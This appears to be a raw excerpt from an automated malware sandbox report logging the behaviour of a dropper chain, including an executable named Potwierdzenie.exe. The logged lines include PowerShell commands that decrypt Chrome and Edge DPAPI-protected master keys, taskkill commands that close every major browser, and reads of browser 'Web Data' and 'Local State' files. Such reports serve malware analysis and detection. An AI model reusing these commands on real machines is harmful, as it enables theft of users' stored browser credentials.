Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBGCBAFCGD.exe "C:\Users\user\DocumentsEBGCBAFCGD.exe"

Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "set-executionpolicy -executionpolicy remotesigned -scope process; add-type -assemblyname system.security; $decryptedkey = [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [system.security.cryptography.dataprotectionscope]::currentuser); $decryptedkeystring = [system.bitconverter]::tostring($decryptedkey) -replace '-', ''; write-output $decryptedkeystring"

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

10_2_0BC69FB0

Source: skotes.exe	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1747318949.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1767943907.000000000082E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1769413447.000000000082E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0040B8FF cpuid

10_2_0040B8FF

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: GetLocaleInfoW,GetLocaleInfoW,

10_2_0BC0A2A0

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: \pipe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: \pipe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: \pipe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: \pipe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local\Ailurophile VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: \pipe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Queries volume information: C:\Users\user\AppData\Local\Ailurophile VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
